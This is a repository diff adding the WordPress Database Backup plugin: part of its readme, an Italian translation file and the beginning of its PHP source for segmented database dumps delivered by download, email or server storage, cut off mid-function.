+= What is wp-db-backup.pot for? =
+
+This files is used by non-English users to translate the display into their native language.  Translators are encouraged to send me translated files, which will be made available to others here:
+http://www.ilfilosofo.com/blog/wp-db-backup/i18n/
+http://dev.wp-plugins.org/browser/wp-db-backup/i18n/
+
+= Why are only the core database files backed up by default? =
+
+Because it's a fairly safe bet that the core WordPress files will be successfully backed up.  Plugins vary wildly in the amount of data that they store.  For instance, it's not uncommon for some statistics plugins to have tens of megabytes worth of visitor statistics.  These are not exactly essential items to restore after a catastrophic failure.  Most poeple can reasonably live without this data in their backups.
+
+== Usage ==
+1. Click the Manage menu in your WordPress admin area.
+1. Click the Backup sub-menu.
+
+1. The plugin will look for other tables in the same database.  You may elect to include other tables in the backup.
+  ** NOTE **
+  Including other tables in your backup may substantially increase the size of the backup file!
+  This may prevent you from emailing the backup file because it's too big.
+
+1. Select how you'd like the backup to be delivered:
+* Save to server : this will create a file in /wp-content/backup-*/ for you to retreive later
+* Download to your computer : this will send the backup file to your browser to be downloaded
+* Email : this will email the backup file to the address you specify
+
+1. Click "Backup!" and your database backup will be delivered to you.
+
+The filename of the backup file will be of the form
+   DB_prefix_date.sql
+DB = the name of your WordPress database, as defined in wp-config.php
+prefix = the table prefix for this WordPress blog, as defined in wp-config.php
+date = CCYYmmdd_B format:  20050711_039
+       the "B" is the internet "Swatch" time.  
+       See the PHP date() function for details.
+
+When having the database backup emailed or sent to your browser for immediate download, the backup file will be _deleted_ from the server when the transfer is finished.  Only if you select delivery method "Save to server" will the backup file remain on your server.
+
+   *** SECURITY WARNING ***
+   Your database backup contains sensitive information,
+   and should not be left on the server for any extended
+   period of time.  The "Save to server" delivery method is provided
+   as a convenience only.  I will not accept any responsibility
+   if other people obtain your backup file.
+   *** SECURITY WARNING ***
+
+== Advanced ==
+If you are using WordPress version 2.1 or newer, you can schedule automated backups to be sent to the email address 
+of your choice.
+
+== Translators ==
+Thanks to following people for providing translation files for WP-DB-Backup:
+* Gilles Wittezaele
+* Ä°zzet Emre Erkan
+* Michele Spagnuolo
+* Rune GulbrandsÃžy
+* Sergey Biryukov
+* Tai
+* Timm Severin
+* åŽæŠ
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wp-db-backup/wp-db-backup-it_IT.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wp-db-backup/wp-db-backup-it_IT.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wp-db-backup/wp-db-backup-it_IT.po	(revision 44)
@@ -0,0 +1,396 @@
+# WP-DB-Backup
+# Copyright (C) 2008 Austin Matzko
+# This file is distributed under the GPL 2 license.
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: wp-db-backup\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2008-08-15 11:00-0500\n"
+"PO-Revision-Date: 2008-12-11 15:15+0100\n"
+"Last-Translator: SteveAgl <steagl@wordpress-it.it>\n"
+"Language-Team: \n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+
+#: wp-db-backup.php:181
+msgid "Backup Complete!"
+msgstr "Backup Completato!"
+
+#: wp-db-backup.php:211
+msgid "Progress"
+msgstr "Progresso"
+
+#: wp-db-backup.php:213
+msgid "DO NOT DO THE FOLLOWING AS IT WILL CAUSE YOUR BACKUP TO FAIL:"
+msgstr "NON FARE NESSUNA DELLE SEGUENTI COSE PER EVITARE CHE IL BACKUP FALLISCA:"
+
+#: wp-db-backup.php:216
+msgid "Close this browser"
+msgstr "Chiudere il browser"
+
+#: wp-db-backup.php:217
+msgid "Reload this page"
+msgstr "Aggiornare la pagina"
+
+#: wp-db-backup.php:218
+msgid "Click the Stop or Back buttons in your browser"
+msgstr "Premere i pulsanti Termina o Indietro nel browser"
+
+#: wp-db-backup.php:220
+msgid "Progress:"
+msgstr "Stato:"
+
+#: wp-db-backup.php:229
+msgid "Navigating away from this page will cause your backup to fail."
+msgstr "Abbandonare questa pagina farÃ  fallire la procedura di backup."
+
+#: wp-db-backup.php:266
+#, php-format
+msgid "Backup complete, preparing <a href=\\\"%s\\\">backup</a> for download..."
+msgstr "Backup completo, preparazione del <a href=\\\"%s\\\">backup</a> per il download..."
+
+#: wp-db-backup.php:273
+#, php-format
+msgid "Backup complete, sending <a href=\\\"%s\\\">backup</a> via email..."
+msgstr "Backup completo, invio del <a href=\\\"%s\\\">backup</a> per email..."
+
+#: wp-db-backup.php:280
+#, php-format
+msgid "Backup complete, download <a href=\\\"%s\\\">here</a>."
+msgstr "Backup completo, scaricalo <a href=\\\"%s\\\">qui</a>."
+
+#: wp-db-backup.php:340
+msgid "Creating backup file..."
+msgstr "Creazione del file di backup..."
+
+#: wp-db-backup.php:343
+#, php-format
+msgid "Finished backing up table \\\"%s\\\"."
+msgstr "Backup della tabella \\\"%s\\\" completato."
+
+#: wp-db-backup.php:345
+#, php-format
+msgid "Backing up table \\\"%s\\\"..."
+msgstr "Backup della tabella \\\"%s\\\"..."
+
+#: wp-db-backup.php:352
+#: wp-db-backup.php:835
+msgid "Could not open the backup file for writing!"
+msgstr "Impossibile aprire il file di backup in scrittura!"
+
+#: wp-db-backup.php:353
+msgid "The backup file could not be saved.  Please check the permissions for writing to your backup directory and try again."
+msgstr "Il file di backup non puÃ² essere salvato. Per favore controlla i permessi in scrittura nella cartella di backup e riprova."
+
+#: wp-db-backup.php:358
+#: wp-db-backup.php:844
+msgid "WordPress MySQL database backup"
+msgstr "WordPress MySQL database backup"
+
+#: wp-db-backup.php:360
+#: wp-db-backup.php:846
+#, php-format
+msgid "Generated: %s"
+msgstr "Creato: %s"
+
+#: wp-db-backup.php:361
+#: wp-db-backup.php:847
+#, php-format
+msgid "Hostname: %s"
+msgstr "Hostname: %s"
+
+#: wp-db-backup.php:362
+#: wp-db-backup.php:848
+#, php-format
+msgid "Database: %s"
+msgstr "Database: %s"
+
+#: wp-db-backup.php:370
+#: wp-db-backup.php:861
+#, php-format
+msgid "Table: %s"
+msgstr "Tabella: %s"
+
+#: wp-db-backup.php:377
+msgid "The backup directory is not writeable!  Please check the permissions for writing to your backup directory and try again."
+msgstr "La cartella di backup non Ãš scrivibile! Per favore controlla i permessi in scrittura nella cartella di backup e riprova."
+
+#: wp-db-backup.php:434
+msgid "Click and hold down <code>[SHIFT]</code> to toggle multiple checkboxes"
+msgstr "Premi e tieni premuto <code>[MAIUSC]</code> per selezionare caselle multiple"
+
+#: wp-db-backup.php:474
+msgid "Change"
+msgstr "Modifica"
+
+#: wp-db-backup.php:483
+msgid "Save"
+msgstr "Salva"
+
+#: wp-db-backup.php:566
+#: wp-db-backup.php:571
+#: wp-db-backup.php:1126
+msgid "Backup"
+msgstr "Backup"
+
+#: wp-db-backup.php:646
+#: wp-db-backup.php:649
+msgid "There was an error writing a line to the backup script:"
+msgstr "Errore durante la scrittura dello script di backup:"
+
+#: wp-db-backup.php:681
+msgid "Subsequent errors have been omitted from this log."
+msgstr "Errori successivi sono stati omessi da questo rapporto."
+
+#: wp-db-backup.php:715
+msgid "Error getting table details"
+msgstr "Errore nell'ottenere i dettagli della tabella"
+
+#: wp-db-backup.php:723
+#, php-format
+msgid "Delete any existing table %s"
+msgstr "Cancella tutto tabella %s"
+
+#: wp-db-backup.php:732
+#, php-format
+msgid "Table structure of table %s"
+msgstr "Struttura della tabella %s"
+
+#: wp-db-backup.php:738
+#, php-format
+msgid "Error with SHOW CREATE TABLE for %s."
+msgstr "Errore con SHOW CREATE TABLE per %s."
+
+#: wp-db-backup.php:745
+#, php-format
+msgid "Error getting table structure of %s"
+msgstr "Errore nell'ottenere la struttura della tabella %s"
+
+#: wp-db-backup.php:753
+#, php-format
+msgid "Data contents of table %s"
+msgstr "Contenuto della tabella %s"
+
+#: wp-db-backup.php:823
+#, php-format
+msgid "End of data contents of table %s"
+msgstr "Fine dei dati contenuti nella tabella %s"
+
+#: wp-db-backup.php:839
+msgid "The backup directory is not writeable!"
+msgstr "La cartella di backup non Ãš scrivibile!"
+
+#: wp-db-backup.php:974
+#, php-format
+msgid "File not found:%s"
+msgstr "File non trovato: %s"
+
+#: wp-db-backup.php:974
+msgid "Return to Backup"
+msgstr "Ritorna a Backup"
+
+#: wp-db-backup.php:983
+#, php-format
+msgid "File %s does not exist!"
+msgstr "Il file %s non esiste!"
+
+#: wp-db-backup.php:990
+#, php-format
+msgid ""
+"Attached to this email is\n"
+"   %1s\n"
+"   Size:%2s kilobytes\n"
+msgstr ""
+"Allegati a questa email:\n"
+"   %1s\n"
+"   Dimensione:%2s KB\n"
+
+#: wp-db-backup.php:991
+msgid "Database Backup"
+msgstr "Backup del Database"
+
+#: wp-db-backup.php:994
+#: wp-db-backup.php:1041
+msgid "The following errors were reported:"
+msgstr "Sono stati riscontrati i seguenti errori:"
+
+#: wp-db-backup.php:999
+msgid "ERROR: The mail application has failed to deliver the backup."
+msgstr "ERRORE: L'invio del backup per email Ãš fallito."
+
+#: wp-db-backup.php:1016
+msgid "Backup Successful"
+msgstr "Backup completato con successo"
+
+#: wp-db-backup.php:1020
+#, php-format
+msgid "Your backup file: <a href=\"%1s\">%2s</a> should begin downloading shortly."
+msgstr "Il download del file di backup <a href=\"%1s\">%2s</a> inizierÃ  a breve."
+
+#: wp-db-backup.php:1028
+#, php-format
+msgid "Your backup has been emailed to %s"
+msgstr "Il backup Ãš stato inviato per email a %s"
+
+#: wp-db-backup.php:1031
+msgid "Your backup file has been saved on the server. If you would like to download it now, right click and select \"Save As\""
+msgstr "Il file di backup Ãš stato salvato sul server. Se vuoi scaricarlo, clicca col pulsante destro e seleziona \"Salva con nome\""
+
+#: wp-db-backup.php:1032
+#, php-format
+msgid "%s bytes"
+msgstr "%s bytes"
+
+#: wp-db-backup.php:1068
+msgid "Scheduled Backup Options Saved!"
+msgstr "Le impostazioni del Backup programmato sono state salvate!"
+
+#: wp-db-backup.php:1095
+msgid "WARNING: Your backup directory does <strong>NOT</strong> exist, and we cannot create it."
+msgstr "ATTENZIONE: La cartella di backup <strong>NON</strong> esiste e non puÃ² essere creata."
+
+#: wp-db-backup.php:1096
+#, php-format
+msgid "Using your FTP client, try to create the backup directory yourself: %s"
+msgstr "Utilizzando un client FTP, prova a creare manualmente la cartella: %s"
+
+#: wp-db-backup.php:1100
+#: wp-db-backup.php:1111
+msgid "WARNING: Your backup directory is <strong>NOT</strong> writable! We cannot create the backup files."
+msgstr "ATTENZIONE: La cartella di backup <strong>NON</strong> Ãš scrivibile! Impossibile creare i file di backup."
+
+#: wp-db-backup.php:1101
+#, php-format
+msgid "Using your FTP client, try to set the backup directory&rsquo;s write permission to %1$s or %2$s: %3$s"
+msgstr "Utilizzando un client FTP, imposta i permessi della cartella di backup a %1$s o %2$s: %3$s"
+
+#: wp-db-backup.php:1113
+msgid "This problem seems to be caused by your server&rsquo;s <code>safe_mode</code> file ownership restrictions, which limit what files web applications like WordPress can create."
+msgstr "Il problema sembra essere dovuto alle restrizioni dello <code>safe_mode</code> impostato sul server, che limita la creazione di file da parte di applicazioni come WordPress."
+
+#: wp-db-backup.php:1115
+#, php-format
+msgid "You can try to correct this problem by using your FTP client to delete and then re-create the backup directory: %s"
+msgstr "Puoi provare a correggere il problema utilizzando un client FTP per cancellare e ricreare la cartella di backup: %s"
+
+#: wp-db-backup.php:1129
+msgid "Tables"
+msgstr "Tabelle"
+
+#: wp-db-backup.php:1131
+msgid "These core WordPress tables will always be backed up:"
+msgstr "Queste tabelle base di WordPress saranno sempre copiate:"
+
+#: wp-db-backup.php:1136
+msgid "Exclude spam comments"
+msgstr "Escludi i commenti di spam"
+
+#: wp-db-backup.php:1139
+msgid "Exclude post revisions"
+msgstr "Escludi revisioni"
+
+#: wp-db-backup.php:1150
+msgid "You may choose to include any of the following tables:"
+msgstr "Le seguenti tabelle possono essere selezionate:"
+
+#: wp-db-backup.php:1164
+msgid "Backup Options"
+msgstr "Opzioni di backup"
+
+#: wp-db-backup.php:1165
+msgid "What to do with the backup file:"
+msgstr "Che cosa fare con il file di backup:"
+
+#: wp-db-backup.php:1169
+msgid "Save to server"
+msgstr "Salvalo sul server"
+
+#: wp-db-backup.php:1174
+msgid "Download to your computer"
+msgstr "Scaricalo sul computer"
+
+#: wp-db-backup.php:1178
+#: wp-db-backup.php:1235
+msgid "Email backup to:"
+msgstr "Invialo per email a:"
+
+#: wp-db-backup.php:1185
+msgid "Backup now!"
+msgstr "Inizia il Backup!"
+
+#: wp-db-backup.php:1188
+msgid "WARNING: Your backup directory is <strong>NOT</strong> writable!"
+msgstr "ATTENZIONE: La cartella di backup <strong>NON</strong> Ãš scrivibile!"
+
+#: wp-db-backup.php:1199
+msgid "Scheduled Backup"
+msgstr "Backup programmato"
+
+#: wp-db-backup.php:1206
+#, php-format
+msgid "Next Backup: %s"
+msgstr "Prossimo Backup: %s"
+
+#: wp-db-backup.php:1211
+#, php-format
+msgid "Last WP-Cron Daily Execution: %s"
+msgstr "Ultima esecuzione giornaliera di WP-Cron: %s"
+
+#: wp-db-backup.php:1212
+#, php-format
+msgid "Next WP-Cron Daily Execution: %s"
+msgstr "Prossima esecuzione giornaliera di WP-Cron: %s"
+
+#: wp-db-backup.php:1217
+msgid "Schedule: "
+msgstr "Programmazione:"
+
+#: wp-db-backup.php:1220
+msgid "None"
+msgstr "Nessuna"
+
+#: wp-db-backup.php:1220
+msgid "Daily"
+msgstr "Giornaliera"
+
+#: wp-db-backup.php:1243
+msgid "Tables to include in the scheduled backup:"
+msgstr "Tabelle da includere nel backup programmato:"
+
+#: wp-db-backup.php:1253
+msgid "Schedule backup"
+msgstr "Programma il backup"
+
+#: wp-db-backup.php:1278
+msgid "Never"
+msgstr "Mai"
+
+#: wp-db-backup.php:1283
+#, php-format
+msgid "%s seconds"
+msgstr "%s secondi"
+
+#: wp-db-backup.php:1316
+msgid "Once Weekly"
+msgstr "Settimanale"
+
+#: wp-db-backup.php:1329
+#, php-format
+msgid "Your WordPress version, %1s, lacks important security features without which it is unsafe to use the WP-DB-Backup plugin.  Hence, this plugin is automatically disabled.  Please consider <a href=\"%2s\">upgrading WordPress</a> to a more recent version."
+msgstr "La versione corrente di WordPress, %1s, non Ãš provvista di importanti funzioni di sicurezza senza le quali non Ãš sicuro eseguire il plugin WP-DB-Backup. Il plugin Ãš stato dunque disabilitato automaticamente. Considera di <a href=\"%2s\">aggiornare WordPress</a> ad una versione piÃ¹ recente."
+
+#: wp-db-backup.php:1347
+msgid "You are not allowed to perform backups."
+msgstr "Non ti Ãš consentito eseguire backup."
+
+#: wp-db-backup.php:1362
+#, php-format
+msgid "There appears to be an unauthorized attempt from this site to access your database located at %1s.  The attempt has been halted."
+msgstr "Sembra che ci sia stato un tentativo non autorizzato da parte di questo sito di accedere al tuo database a %1s. Il tentativo Ãš stato bloccato."
+
+#: wp-db-backup.php:1373
+msgid "Cheatin' uh ?"
+msgstr "Stai barando, eh?"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wp-db-backup/wp-db-backup.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wp-db-backup/wp-db-backup.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wp-db-backup/wp-db-backup.php	(revision 44)
@@ -0,0 +1,1429 @@
+<?php
+/*
+Plugin Name: WordPress Database Backup
+Plugin URI: http://www.ilfilosofo.com/blog/wp-db-backup
+Description: On-demand backup of your WordPress database. Navigate to <a href="edit.php?page=wp-db-backup">Tools &rarr; Backup</a> to get started.
+Author: Austin Matzko 
+Author URI: http://www.ilfilosofo.com/
+Version: 2.2.2
+
+Development continued from that done by Skippy (http://www.skippy.net/)
+
+Originally modified from Mark Ghosh's One Click Backup, which 
+in turn was derived from phpMyAdmin.
+
+Many thanks to Owen (http://asymptomatic.net/wp/) for his patch
+   http://dev.wp-plugins.org/ticket/219
+
+Copyright 2008  Austin Matzko  (email : if.website at gmail.com)
+
+    This program is free software; you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation; either version 2 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License
+    along with this program; if not, write to the Free Software
+    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110, USA
+*/
+
+/**
+ * Change WP_BACKUP_DIR if you want to
+ * use a different backup location
+ */
+
+$rand = substr( md5( md5( DB_PASSWORD ) ), -5 );
+global $wpdbb_content_dir, $wpdbb_content_url, $wpdbb_plugin_dir;
+$wpdbb_content_dir = ( defined('WP_CONTENT_DIR') ) ? WP_CONTENT_DIR : ABSPATH . 'wp-content';
+$wpdbb_content_url = ( defined('WP_CONTENT_URL') ) ? WP_CONTENT_URL : get_option('siteurl') . '/wp-content';
+$wpdbb_plugin_dir = ( defined('WP_PLUGIN_DIR') ) ? WP_PLUGIN_DIR : $wpdbb_content_dir . '/plugins';
+
+if ( ! defined('WP_BACKUP_DIR') ) {
+	define('WP_BACKUP_DIR', $wpdbb_content_dir . '/backup-' . $rand . '/');
+}
+
+if ( ! defined('WP_BACKUP_URL') ) {
+	define('WP_BACKUP_URL', $wpdbb_content_url . '/backup-' . $rand . '/');
+}
+
+if ( ! defined('ROWS_PER_SEGMENT') ) {
+	define('ROWS_PER_SEGMENT', 100);
+}
+
+/** 
+ * Set MOD_EVASIVE_OVERRIDE to true 
+ * and increase MOD_EVASIVE_DELAY 
+ * if the backup stops prematurely.
+ */
+// define('MOD_EVASIVE_OVERRIDE', false);
+if ( ! defined('MOD_EVASIVE_DELAY') ) {
+	define('MOD_EVASIVE_DELAY', '500');
+}
+
+class wpdbBackup {
+
+	var $backup_complete = false;
+	var $backup_file = '';
+	var $backup_filename;
+	var $core_table_names = array();
+	var $errors = array();
+	var $basename;
+	var $page_url;
+	var $referer_check_key;
+	var $version = '2.1.5-alpha';
+
+	function gzip() {
+		return function_exists('gzopen');
+	}
+
+	function module_check() {
+		$mod_evasive = false;
+		if ( true === MOD_EVASIVE_OVERRIDE ) return true;
+		if ( false === MOD_EVASIVE_OVERRIDE ) return false;
+		if ( function_exists('apache_get_modules') ) 
+			foreach( (array) apache_get_modules() as $mod ) 
+				if ( false !== strpos($mod,'mod_evasive') || false !== strpos($mod,'mod_dosevasive') )
+					return true;
+		return false;
+	}
+
+	function wpdbBackup() {
+		global $table_prefix, $wpdb;
+		add_action('wp_ajax_save_backup_time', array(&$this, 'save_backup_time'));
+		add_action('init', array(&$this, 'init_textdomain'));
+		add_action('load-update-core.php', array(&$this, 'update_notice_action'));
+		add_action('wp_db_backup_cron', array(&$this, 'cron_backup'));
+		add_action('wp_cron_daily', array(&$this, 'wp_cron_daily'));
+		add_filter('cron_schedules', array(&$this, 'add_sched_options'));
+		add_filter('wp_db_b_schedule_choices', array(&$this, 'schedule_choices'));
+		
+		$table_prefix = ( isset( $table_prefix ) ) ? $table_prefix : $wpdb->prefix;
+		$datum = date("Ymd_B");
+		$this->backup_filename = DB_NAME . "_$table_prefix$datum.sql";
+		if ($this->gzip()) $this->backup_filename .= '.gz';
+
+		$possible_names = array(
+			'categories',
+			'comments',
+			'link2cat',
+			'linkcategories',
+			'links',
+			'options',
+			'post2cat',
+			'postmeta',
+			'posts',
+			'terms',
+			'term_taxonomy',
+			'term_relationships',
+			'users',
+			'usermeta',
+		);
+
+		foreach( $possible_names as $name ) {
+			if ( isset( $wpdb->{$name} ) ) {
+				$this->core_table_names[] = $wpdb->{$name};
+			}
+		}
+	
+		$this->backup_dir = trailingslashit(apply_filters('wp_db_b_backup_dir', WP_BACKUP_DIR));
+		$this->basename = 'wp-db-backup';
+	
+		$this->referer_check_key = $this->basename . '-download_' . DB_NAME;
+		$query_args = array( 'page' => $this->basename );
+		if ( function_exists('wp_create_nonce') )
+			$query_args = array_merge( $query_args, array('_wpnonce' => wp_create_nonce($this->referer_check_key)) );
+		$base = ( function_exists('site_url') ) ? site_url('', 'admin') : get_option('siteurl');
+		$this->page_url = add_query_arg( $query_args, $base . '/wp-admin/edit.php');
+		if (isset($_POST['do_backup'])) {
+			$this->wp_secure('fatal');
+			check_admin_referer($this->referer_check_key);
+			$this->can_user_backup('main');
+			// save exclude prefs
+
+			$exc_revisions = (array) $_POST['exclude-revisions'];
+			$exc_spam = (array) $_POST['exclude-spam'];
+			update_option('wp_db_backup_excs', array('revisions' => $exc_revisions, 'spam' => $exc_spam));
+			switch($_POST['do_backup']) {
+			case 'backup':
+				add_action('init', array(&$this, 'perform_backup'));
+				break;
+			case 'fragments':
+				add_action('admin_menu', array(&$this, 'fragment_menu'));
+				break;				
+			}
+		} elseif (isset($_GET['fragment'] )) {
+			$this->can_user_backup('frame');
+			add_action('init', array(&$this, 'init'));
+		} elseif (isset($_GET['backup'] )) {
+			$this->can_user_backup();
+			add_action('init', array(&$this, 'init'));
+		} else {
+			add_action('admin_menu', array(&$this, 'admin_menu'));
+		}
+	}
+	
+	function init() {
+		$this->can_user_backup();
+		if (isset($_GET['backup'])) {
+			$via = isset($_GET['via']) ? $_GET['via'] : 'http';
+			
+			$this->backup_file = $_GET['backup'];
+			$this->validate_file($this->backup_file);
+
+			switch($via) {
+			case 'smtp':
+			case 'email':
+				$success = $this->deliver_backup($this->backup_file, 'smtp', $_GET['recipient'], 'frame');
+				$this->error_display( 'frame' );
+				if ( $success ) {
+					echo '
+						<!-- ' . $via . ' -->
+						<script type="text/javascript"><!--\\
+					';
+					echo '
+						alert("' . __('Backup Complete!','wp-db-backup') . '");
+						window.onbeforeunload = null; 
+						</script>
+					';
+				}
+				break;
+			default:
+				$this->deliver_backup($this->backup_file, $via);
+				$this->error_display( 'frame' );
+			}
+			die();
+		}
+		if (isset($_GET['fragment'] )) {
+			list($table, $segment, $filename) = explode(':', $_GET['fragment']);
+			$this->validate_file($filename);
+			$this->backup_fragment($table, $segment, $filename);
+		}
+
+		die();
+	}
+
+	function init_textdomain() {
+		load_plugin_textdomain('wp-db-backup', str_replace(ABSPATH, '', dirname(__FILE__)), dirname(plugin_basename(__FILE__)));
+	}
+
+	/*
+	 * Add a link to back up your database when doing a core upgrade 
+	 */
+	function update_notice_action() {
+		if ( 'upgrade-core' == $_REQUEST['action'] ) :
+			ob_start(array(&$this, 'update_notice'));
+			add_action('admin_footer', create_function('', 'ob_end_flush();'));
+		endif;
+	}
+		function update_notice($text = '') {
+			$pattern = '#(<a href\="' . __('http://codex.wordpress.org/WordPress_Backups') . '">.*?</p>)#';
+			$replace = '$1' . "\n<p>" . sprintf(__('Click <a href="%s" target="_blank">here</a> to back up your database using the WordPress Database Backup plugin. <strong>Note:</strong> WordPress Database Backup does <em>not</em> back up your files, just your database.', 'wp-db-backup'), 'tools.php?page=wp-db-backup') . "</p>\n"; 
+			$text = preg_replace($pattern, $replace, $text);
+			return $text;
+		}
+
+	function build_backup_script() {
+		global $table_prefix, $wpdb;
+	
+		echo "<div class='wrap'>";
+		echo 	'<fieldset class="options"><legend>' . __('Progress','wp-db-backup') . '</legend>
+			<p><strong>' .
+				__('DO NOT DO THE FOLLOWING AS IT WILL CAUSE YOUR BACKUP TO FAIL:','wp-db-backup').
+			'</strong></p>
+			<ol>
+				<li>'.__('Close this browser','wp-db-backup').'</li>
+				<li>'.__('Reload this page','wp-db-backup').'</li>
+				<li>'.__('Click the Stop or Back buttons in your browser','wp-db-backup').'</li>
+			</ol>
+			<p><strong>' . __('Progress:','wp-db-backup') . '</strong></p>
+			<div id="meterbox" style="height:11px;width:80%;padding:3px;border:1px solid #659fff;"><div id="meter" style="height:11px;background-color:#659fff;width:0%;text-align:center;font-size:6pt;">&nbsp;</div></div>
+			<div id="progress_message"></div>
+			<div id="errors"></div>
+			</fieldset>
+			<iframe id="backuploader" src="about:blank" style="visibility:hidden;border:none;height:1em;width:1px;"></iframe>
+			<script type="text/javascript">
+			//<![CDATA[
+			window.onbeforeunload = function() {
+				return "' . __('Navigating away from this page will cause your backup to fail.', 'wp-db-backup') . '";
+			}
+			function setMeter(pct) {
+				var meter = document.getElementById("meter");
+				meter.style.width = pct + "%";
+				meter.innerHTML = Math.floor(pct) + "%";
+			}
+			function setProgress(str) {
+				var progress = document.getElementById("progress_message");
+				progress.innerHTML = str;
+			}
+			function addError(str) {
+				var errors = document.getElementById("errors");
+				errors.innerHTML = errors.innerHTML + str + "<br />";
+			}
+
+			function backup(table, segment) {
+				var fram = document.getElementById("backuploader");
+				fram.src = "' . $this->page_url . '&fragment=" + table + ":" + segment + ":' . $this->backup_filename . ':";
+			}
+			
+			var curStep = 0;
+			
+			function nextStep() {
+				backupStep(curStep);
+				curStep++;
+			}
+			
+			function finishBackup() {
+				var fram = document.getElementById("backuploader");				
+				setMeter(100);
+		';
+
+		$download_uri = add_query_arg('backup', $this->backup_filename, $this->page_url);
+		switch($_POST['deliver']) {
+		case 'http':
+			echo '
+				setProgress("' . sprintf(__("Backup complete, preparing <a href=\\\"%s\\\">backup</a> for download...",'wp-db-backup'), $download_uri) . '");
+				window.onbeforeunload = null; 
+				fram.src = "' . $download_uri . '";
+			';
+			break;
+		case 'smtp':
+			echo '
+				setProgress("' . sprintf(__("Backup complete, sending <a href=\\\"%s\\\">backup</a> via email...",'wp-db-backup'), $download_uri) . '");
+				window.onbeforeunload = null; 
+				fram.src = "' . $download_uri . '&via=email&recipient=' . $_POST['backup_recipient'] . '";
+			';
+			break;
+		default:
+			echo '
+				setProgress("' . sprintf(__("Backup complete, download <a href=\\\"%s\\\">here</a>.",'wp-db-backup'), $download_uri) . '");
+				window.onbeforeunload = null; 
+			';
+		}
+		
+		echo '
+			}
+			
+			function backupStep(step) {
+				switch(step) {
+				case 0: backup("", 0); break;
+		';
+		
+		$also_backup = array();
+		if (isset($_POST['other_tables'])) {
+			$also_backup = $_POST['other_tables'];
+		} else {
+			$also_backup = array();
+		}
+		$core_tables = $_POST['core_tables'];
+		$tables = array_merge($core_tables, $also_backup);
+		$step_count = 1;
+		foreach ($tables as $table) {
+			$rec_count = $wpdb->get_var("SELECT count(*) FROM {$table}");
+			$rec_segments = ceil($rec_count / ROWS_PER_SEGMENT);
+			$table_count = 0;
+			if ( $this->module_check() ) {
+				$delay = "setTimeout('";
+				$delay_time = "', " . (int) MOD_EVASIVE_DELAY . ")";
+			}
+			else { $delay = $delay_time = ''; }
+			do {
+				echo "case {$step_count}: {$delay}backup(\"{$table}\", {$table_count}){$delay_time}; break;\n";
+				$step_count++;
+				$table_count++;
+			} while($table_count < $rec_segments);
+			echo "case {$step_count}: {$delay}backup(\"{$table}\", -1){$delay_time}; break;\n";
+			$step_count++;
+		}
+		echo "case {$step_count}: finishBackup(); break;";
+		
+		echo '
+				}
+				if(step != 0) setMeter(100 * step / ' . $step_count . ');
+			}
+
+			nextStep();
+			// ]]>
+			</script>
+	</div>
+		';
+		$this->backup_menu();
+	}
+
+	function backup_fragment($table, $segment, $filename) {
+		global $table_prefix, $wpdb;
+			
+		echo "$table:$segment:$filename";
+		
+		if($table == '') {
+			$msg = __('Creating backup file...','wp-db-backup');
+		} else {
+			if($segment == -1) {
+				$msg = sprintf(__('Finished backing up table \\"%s\\".','wp-db-backup'), $table);
+			} else {
+				$msg = sprintf(__('Backing up table \\"%s\\"...','wp-db-backup'), $table);
+			}
+		}
+		
+		if (is_writable($this->backup_dir)) {
+			$this->fp = $this->open($this->backup_dir . $filename, 'a');
+			if(!$this->fp) {
+				$this->error(__('Could not open the backup file for writing!','wp-db-backup'));
+				$this->error(array('loc' => 'frame', 'kind' => 'fatal', 'msg' =>  __('The backup file could not be saved.  Please check the permissions for writing to your backup directory and try again.','wp-db-backup')));
+			}
+			else {
+				if($table == '') {		
+					//Begin new backup of MySql
+					$this->stow("# " . __('WordPress MySQL database backup','wp-db-backup') . "\n");
+					$this->stow("#\n");
+					$this->stow("# " . sprintf(__('Generated: %s','wp-db-backup'),date("l j. F Y H:i T")) . "\n");
+					$this->stow("# " . sprintf(__('Hostname: %s','wp-db-backup'),DB_HOST) . "\n");
+					$this->stow("# " . sprintf(__('Database: %s','wp-db-backup'),$this->backquote(DB_NAME)) . "\n");
+					$this->stow("# --------------------------------------------------------\n");
+				} else {
+					if($segment == 0) {
+						// Increase script execution time-limit to 15 min for every table.
+						if ( !ini_get('safe_mode')) @set_time_limit(15*60);
+						// Create the SQL statements
+						$this->stow("# --------------------------------------------------------\n");
+						$this->stow("# " . sprintf(__('Table: %s','wp-db-backup'),$this->backquote($table)) . "\n");
+						$this->stow("# --------------------------------------------------------\n");
+					}			
+					$this->backup_table($table, $segment);
+				}
+			}
+		} else {
+			$this->error(array('kind' => 'fatal', 'loc' => 'frame', 'msg' => __('The backup directory is not writeable!  Please check the permissions for writing to your backup directory and try again.','wp-db-backup')));
+		}
+
+		if($this->fp) $this->close($this->fp);
+		
+		$this->error_display('frame');
+
+		echo '<script type="text/javascript"><!--//
+		var msg = "' . $msg . '";
+		window.parent.setProgress(msg);
+		window.parent.nextStep();
+		//--></script>
+		';
+		die();
+	}
+
+	function perform_backup() {
+		// are we backing up any other tables?
+		$also_backup = array();
+		if (isset($_POST['other_tables']))
+			$also_backup = $_POST['other_tables'];
+		$core_tables = $_POST['core_tables'];
+		$this->backup_file = $this->db_backup($core_tables, $also_backup);
+		if (false !== $this->backup_file) {
+			if ('smtp' == $_POST['deliver']) {
+				$this->deliver_backup($this->backup_file, $_POST['deliver'], $_POST['backup_recipient'], 'main');
+				wp_redirect($this->page_url);
+			} elseif ('http' == $_POST['deliver']) {
+				$download_uri = add_query_arg('backup',$this->backup_file,$this->page_url);
